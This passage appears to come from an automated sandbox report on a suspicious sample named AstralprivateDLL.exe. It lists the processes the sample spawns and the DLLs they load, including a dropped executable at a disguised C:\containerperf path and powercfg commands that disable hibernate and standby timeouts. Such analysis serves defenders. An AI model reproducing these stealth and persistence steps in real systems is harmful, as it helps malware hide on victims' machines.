Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF04D.tmp" "c:\Windows\System32\CSCC4EE3A879404710AD2E4883A563BED.TMP"

Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: version.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wbemcomn.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: amsi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: profapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wscapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: urlmon.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: iertutil.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: srvcli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: netutils.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: slc.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
